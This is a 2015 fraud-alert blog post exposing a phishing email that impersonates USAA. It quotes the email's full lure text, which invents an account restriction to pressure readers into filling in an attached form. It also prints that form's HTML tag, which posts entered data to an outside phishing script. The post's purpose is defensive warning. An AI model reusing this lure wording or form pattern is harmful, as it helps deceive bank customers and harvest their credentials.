Search FraudFYI

Sunday, February 22, 2015

PHISHING ALERT!!! Phishing email from USAA smrfs@emailonline.com

DO NOT open this file and fill out the form.  This email IS NOT from USAA and the form IS NOT a legitimate USAA form!  The form is posting to http://www.cfcinternacional.org/zenthonline/gh/images/jpg.php which is already blacklisted and reported as a phishing website according to these sites:
http://www.surbl.org/surbl-analysis
https://www.mywot.com/en/scorecard/cfcinternacional.org

I've included a screenshot because the page does look like a USAA page, but if you look in the address bar, it IS NOT loading a legitimate USAA page, it is loading the HTML from your own computer.  In the code you can see that it IS NOT posting to USAA!


from: USAA <smrfs@emailonline.com> 
reply-to: USAA <smrfs@emailonline.com>
to:
date: Sat, Feb 21, 2015 at 9:49 PM
subject: New Message from USAA Bank

To ensure delivery to your inbox, please add USAA.Web.Services@customermail.usaa.com to your address book. 

USAA Account Update

Dear USAA CUSTOMER,

In the event of providing a more secured environment for online activities, we periodically screen all accounts and restrictions were placed on all online access in the process, due to suspicious account activities. It is strongly recommended that you reconfirm your account information. There are series of issues about misuse and theft of account information. To regain full access to your account, you are to download the attached secured form in this email and fill in the required columns in order to restore access to your account. Further proof of identity may be required before online access is restored. This reduces the risk of others accessing your information from your unattended computer.
•USAA Account Update

Safeguarding your information is a priority for USAA. That's why we offer our members different levels of security that gives you the most peace of mind.

We value your business and the opportunity to serve all your financial needs.

Thank you,
 USAA
Facebook  Twitter
 
 Please do not reply to this e-mail. To send a secure message to USAA, please contact us.

Privacy Promise

 USAA, 9800 Fredericksburg Road, San Antonio, Texas 78288
 

  USAA means United Services Automobile Association and its insurance, banking and investment affiliates.   

66658-1012  


attachment; filename="usaa.htm"
In the code:

<form action="http://www.cfcinternacional.org/zenthonline/gh/images/jpg.php" method="post" id="EligibilityOPP" name="EligibilityOPP" >

No comments:

Post a Comment

Thank you for commenting! Your comment will be reviewed and posted shortly!